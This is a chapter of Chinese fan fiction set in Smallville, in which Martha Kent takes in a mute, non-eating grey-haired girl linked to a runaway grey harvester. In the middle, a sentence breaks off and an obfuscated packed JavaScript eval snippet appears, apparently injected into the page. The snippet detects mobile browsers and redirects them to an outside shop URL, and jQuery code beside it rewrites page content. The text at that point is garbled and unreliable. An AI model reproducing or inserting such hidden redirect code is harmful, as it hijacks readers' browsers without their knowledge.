斯莫维尔镇的艾伦在床上辗转反复，终于从床上爬起来，随意套上鞋，提着手电筒出了门。


    他向来遵循太阳的作息——日升而作、日落而息——今天却难得打破了他的习惯，决定去看看那持续不断的怪响究竟是怎么回事。


    艾伦当了大半辈的农民，确信自己听到了机器的轰隆声。准确来说，是大型农业机械运转的声音，类似于割麦机。


    他纳闷起来，这大晚上的，哪来的割麦机的声音？


    更诡异的是，除了割麦机的声响，偶尔还能传来人声——听起来年龄不大的女孩。


    斯莫维尔镇民有着淳朴善良的美德——显然艾伦继承了这一点。


    他思来想去，还是决定起床看一眼。


    虽然概率极小，但万一真的有小孩大晚上把割麦机开出来玩怎么办？


    艾伦追寻着轰隆声，慢慢往谷仓的方向走，手电筒的光晕在黑暗中一摇一晃。


    轰隆隆。


    轰隆隆。


    未知的声音不断敲打着艾伦的心脏。


    他有点紧张，汗津津的手随意地在裤子上抹了抹。


    他发誓，无论是哪个小窃贼偷走了割麦机，大晚上的扰人清静，开着危险的机器乱跑，他一定会找上她的家长，把她带回去教育。


    近了。


    越来越近了。


    艾伦嗅到了小麦的香气。他汲拉着拖鞋，咔嚓踩断一支散落的麦秸，举起手电筒向周围一扫。


    他大喊道：“是谁！”


    轰隆声突然停止了。


    随之又立马加强。


    手电筒的光扫到了机器的小尾巴——那甚至不能用小来形容，巨大的、厚重的轮胎充满了现代工业化的力量。


    “小混蛋！”


    艾伦只来得及看清割麦机后面的漆装整体是灰色的。无论是谁在前面开机器，那她是一个开割麦机的高手。割麦机以惊人的速度开远了，艾伦跑都来不及，踢掉一只拖鞋，摔进了干草堆里。


    “小混蛋！”


    “别让我找到你！”


    艾伦从干草堆里爬起来，抖了抖身上的草渣，把摔飞的手电筒捡起来。


    手电筒坏了。艾伦按了半天开关，却没有半点光源。他摸索手电筒的缺口，才发现一根电池不知道摔哪儿去了。


    天气太黑了，又没有光源。艾伦决定打道回府，明天再解决割麦机的事。


    在回家的路上，他边走边想：谁家有漆装灰色的割麦机呢？


    斯莫维尔镇不大，人口不算太多。艾伦从出生就生活在这里，对镇上绝大部分人都有印象。他仔细回想了半天，没找到符合印象的人家。


    他敲了敲自己脑袋，年纪大了，记忆力下降了。


    他想，明天还有一天，总能找到是谁。


    -


    玛莎·肯特被轰隆隆的机器声惊醒。


    她摸了摸床边，空落落的。这么多年来，她早就习惯了一个人睡觉。


    她从床上慢慢起来，摸到床头柜的杯子，抿了一口——是冷掉的咖啡。


    咖啡是她亲自种的咖啡豆手磨而成，喝起来口感偏酸。玛莎放下杯子，穿上鞋，慢慢地站起来。


    外面……是什么声音？


    玛莎从卧室出去，从门口架子上随便拿了一件外套披上，走出农舍。


    她提起一盏灯，烛光在微风下摇曳。玛莎不是没有手机，她的儿子克拉克肯特，曾经送了她一部新手机。但玛莎用不习惯，因而放进柜子里珍藏起来。


    比起手机，玛莎明白有更快的方法能联系到她的儿子。


    农舍不远处有一个秋千——克拉克小时候经常玩在那上面玩耍。


    玛莎不自觉泛起微笑。烛光扫过秋千，她来到高高的谷仓旁。


    声音消失了。


    但谷仓的泥地上印下了巨大的沟壑，仿佛被什么机器犁过一般。


    玛莎的心微微收紧。


    是什么机器？


    玛莎倾耳聆听，听到了树叶沙沙的声音——她直觉有什么东西在树上。


    是小动物吗？


    她提起灯，昏亮的灯光一层一层地往上扫，将阴影驱逐。


    咔嚓！


    一只树枝断了！


    玛莎把烛灯对准声源。


    而来者像是公路上突然被车灯照到的小鹿，瞪圆了眼睛。


    一个女孩。


    一个看起来年龄不超过16岁的女孩。


    她呆呆地抱紧树，烟灰色眼眸眨了眨，如液态金属般涌动。


    玛莎放柔声音：“你叫什么名字？”


    女孩侧脸，将耳朵对准玛莎，但一时没有说话。


    玛莎见女孩不害怕，往前走了两步：“我没有恶意，你能从树上下来吗？”


    浅灰色发色的女孩从树上慢慢爬了下来，默默走到玛莎面前：


    她艰难地开口：


    “茜……多拉（Theodora）。”


    “这是你的名字吗？你叫茜多拉对吗？”


    眼前的女孩又陷入了呆呆的状态，玛莎只好再重复了一遍。


    女孩一顿一顿点了点头。


    玛莎：“你的家人呢？你知道你是从哪来的吗？”


    女孩铅灰色的眼眸凝视着玛莎，又陷入了沉默。


    玛莎主动牵住她的手，女孩轻而易举地被她拉走了。


    “进来坐坐吧，外面太冷了。”


    -


    玛莎去厨房给女孩热了一瓶牛奶。


    她回到客厅的时候，女孩还呆站在原地。


    玛莎把热牛奶塞到女孩手上：“喝吧。暖一暖。”


    但女孩仍然呆呆地，手指紧紧攥住了牛奶瓶，但没有任何打算吞咽的动作。


    玛莎疑惑。她在想是否需要她示范给这个来路不明的女孩怎么喝。


    这个女孩是谁？


    那道巨大的沟壑又是怎么回事？


    玛莎忧心忡忡。


    女孩指了指喉咙，双手食指交错，缓慢地比了个叉。


    玛莎：“孩子，你不能喝是吗？”


    女孩如卡顿般点了点头。


    玛莎叹了口气，放缓语速慢慢说道。


    “家里有两个卧室。但有一个卧室近期会有人住，你愿意跟我睡一起吗？”


    为了防止女孩听不懂，玛莎连笔带画，缓慢地说了三遍。


    女孩一顿一顿点头。


    她张开手，玛莎轻轻抱了抱她。


    “可怜的孩子，先睡吧。”


    -


    第2天早上，玛莎很早就起床了。


    她跑到厨房，给女孩做了一顿早饭——全麦面包和烤玉米棒。


    玛莎放下盘子，“只有这些。”


    但女孩没有吃。


    她缓慢但坚定地说：


    “我……不能……吃。”


    玛莎黝黑的脸上泛起忧虑。


    她心想，天哪，这孩子有进食障碍吗？


    难怪她看起来这么纤细。


    进食障碍这个时髦的名词是她从


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272343|142308||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    克拉克那里听来的。克拉克在号角日报当记者，有时会给家里寄报纸，报纸上刊登的正是克拉克的报道。


    玛莎往前挪了挪盘子：“亲爱的，多少吃一点吧。”


    但女孩报之以沉默。


    -


    玛莎在做午饭前出去检测了一下麦粒的水分值——水分值大约15.9左右。


    合格的水分值为15.5。这项检测很重要，关系到玛莎能不能把麦粒收割。


    玛莎叹了口气。水分值还是有点高了。她要么祈祷太阳的到来，要么租赁烘干机对麦粒进行脱湿。


    还有女孩……


    她需不需要报警呢？


    女孩有亲人吗？


    那巨大的机器沟壑仍然如梦魇一般缠着玛莎。


    尽管没有理由，但玛莎总觉得突然出现的沟壑和女孩脱不了干系。


    怀揣着这样的忧虑，玛莎回到了农舍——她顿时发现女孩不见了。


    玛莎跑出去：


    “茜——多——拉——”


    她大喊。


    她找了半天，正当她以为茜多拉已经自己走掉时。


    灰发灰眸的女孩手捧着一盆植物回来了。


    她说话语速比之前略快了些，没有那么结巴了。


    “……兰花……”


    “珍贵……品种……值钱”


    “送给你……”


    玛莎有点怒气冲冲。


    “天呐，你跑哪儿去了？”


    女孩再次露出茫然的神情，显然她不清楚自己在哪。


    但她坚持把这盆兰花塞在玛莎手上。


    “联系……本地……园艺协会……”


    “卖了……”


    玛莎没想到茜多拉懂得比她想象中的要多。


    但兰花能卖什么钱呢？玛莎不太明白。


    介于是茜多拉的礼物，玛莎最后还是仔细地把它养了起来。


    令她更加郁闷的是，茜多拉仍然坚持不吃午饭，即使玛莎为此伤心。


    玛莎下定决心去报警，要联系到她的父母。


    她有进食障碍吗？


    她有自闭症吗？


    她被抛弃了吗？


    这一切都是一个谜。


    但玛莎的计划被某人突然的来访打破了。


    -


    “玛莎！”


    玛莎从农舍里走出来，“艾伦，有什么事？”


    带着草帽遮阳的艾伦说道：“我要找一个人，大概率一个女孩。”


    玛莎心跳漏掉一拍。


    “哪个女孩？”


    艾伦摇摇头：“我不知道她长什么样子，也不知道是谁。”


    “她昨天晚上开着一个大型灰色割麦机闯进了我的麦场。”


    “这种机器对一个小孩来说太危险了。”


    玛莎心脏抓紧：“灰色？”


    她似乎明悟了自己家附近巨大的沟壑是从何而来。


    艾伦点头：“错不了，就是灰色，一台自动化灰色漆装割麦机，太黑了，我没看到是哪家公司的。”


    玛莎语速加快，黝黑的皮肤看不出来她脸色涨红：“我家没有这样的割麦机，也没见过你说的人。”


    艾伦不疑有他，小声嘟囔：


    “那么大的割麦机去哪里呢？”


    “跑得那么快。”


    “难道消失了？”


    他不知道此时的玛莎脑子里有一个惊人的构想。


    这对旁人来说是天方夜谭，但对于玛莎来说，并不是不能接受。